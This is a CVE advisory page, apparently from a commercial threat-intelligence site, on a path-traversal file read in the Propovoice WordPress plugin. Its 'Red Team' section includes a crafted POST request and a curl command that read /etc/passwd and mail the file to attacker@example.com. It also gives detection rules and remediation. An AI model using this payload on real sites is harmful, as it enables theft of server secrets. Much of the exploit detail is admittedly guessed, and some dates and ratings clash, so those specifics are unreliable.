☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8422

CVE-2025-8422 Arbitrary File Access in Propovoice
📅 PUBLISHED: 2025-09-11 07:24 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8422 is a critical Arbitrary File Read vulnerability affecting the Propovoice: All-in-One Client Management System WordPress plugin, versions up to and including 1.7.6.7. The flaw resides in the send_email() function, which fails to properly sanitize user-supplied input, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. This can lead to the exposure of sensitive data such as database credentials, configuration files, and other secrets.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software directly. The plugin's send_email() function is likely used for email notifications and may accept file paths as attachments or inline content without proper validation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. Users who have installed the Propovoice plugin from the official WordPress plugin repository or third-party sources are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby packages, but its inclusion in a WordPress site introduces a supply chain risk. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

The high confidentiality impact reflects the ability to read sensitive files, while the low attack complexity and no authentication requirement make this a significant threat.

Deep Dive & Mechanics

The vulnerability exists in the send_email() function of the Propovoice plugin. This function is designed to handle email sending, likely including file attachments or inline file references. The flaw is a classic path traversal (CWE-22) issue, where user-controlled input (e.g., a file path parameter) is not properly sanitized.

An attacker can craft a request to the send_email() function with a malicious file path, such as ../../../../etc/passwd, to read arbitrary files. The function likely uses PHP functions like file_get_contents() or fread() without validating the path against an allowed directory.

The attack flow:

  1. The attacker sends a POST request to the WordPress REST API or AJAX endpoint that triggers send_email().
  2. The request includes a parameter (e.g., attachment_path) containing a path traversal sequence.
  3. The plugin reads the file and includes its content in the email or returns it in the response.
  4. The attacker receives the file contents, potentially exposing sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (hypothetical)
function send_email($to, $subject, $message, $attachment_path) {
    $attachment_content = file_get_contents($attachment_path);
    // ... send email with attachment
}

A patched version would include path validation:

// Patched code (hypothetical)
function send_email($to, $subject, $message, $attachment_path) {
    $allowed_dir = WP_CONTENT_DIR . '/uploads/';
    $real_path = realpath($attachment_path);
    if (strpos($real_path, $allowed_dir) !== 0) {
        return false; // or throw error
    }
    $attachment_content = file_get_contents($real_path);
    // ... send email with attachment
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  • Install WordPress with Propovoice plugin version 1.7.6.7.
  • Ensure the plugin is activated and the send_email() function is accessible via AJAX or REST API.

Exploitation Steps:

  1. Identify the endpoint: /wp-admin/admin-ajax.php with action propovoice_send_email or similar.
  2. Craft a POST request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    action=propovoice_send_email&to=attacker@example.com&subject=test&message=test&attachment_path=../../../../etc/passwd
    
  3. The response will contain the contents of /etc/passwd.

Alternative Exploit (cURL):

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=propovoice_send_email&to=attacker@example.com&subject=test&message=test&attachment_path=../../../../etc/passwd"

Blue Team

Detection:

  • Monitor for requests to admin-ajax.php with suspicious attachment_path parameters containing ../ sequences.
  • Look for outbound emails with unusual file attachments or large payloads.
  • Check server logs for file read errors or path traversal attempts.

Hunting:

  • Search for file_get_contents or fread calls in the Propovoice plugin code.
  • Review recent file access logs for unexpected reads outside the web root.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=propovoice_send_email and attachment_path containing ../.
  • File System: Unauthorized reads of files like /etc/passwd, /wp-config.php, or .env.
  • Logs: PHP error logs showing file_get_contents(/etc/passwd): failed to open stream or similar.
  • Email: Outbound emails with suspicious attachments or large content from the WordPress server.

Detection Engineering

YARA Rule

rule Detect_Propovoice_File_Read_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-8422 in Propovoice plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8422"
    strings:
        $path_traversal = /\.\.\/\.\.\/\.\.\/\.\.\// nocase
        $action = "propovoice_send_email" nocase
        $attachment_param = "attachment_path" nocase
    condition:
        all of them
}

Sigma Rule

title: Propovoice Arbitrary File Read Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-8422 via path traversal in Propovoice plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=propovoice_send_email'
        cs-uri-query|contains: 'attachment_path='
        cs-uri-query|re: '\.\.\/'
    condition: selection
falsepositives:
    - Legitimate use of file attachments with relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8422 Propovoice Arbitrary File Read Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=propovoice_send_email"; http_client_body; content:"attachment_path"; http_client_body; pcre:"/\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Propovoice plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the attachment_path parameter.
  3. Restrict file read permissions on the server to prevent access to sensitive files.

Long-term Fix:

  • The vendor must release a patched version that validates file paths against an allowed directory.
  • Users should monitor the plugin's update channel and apply patches as soon as they are available.

Workaround:

  • If the plugin cannot be disabled, modify the plugin code to add path validation (see patched code example above).

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8422/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.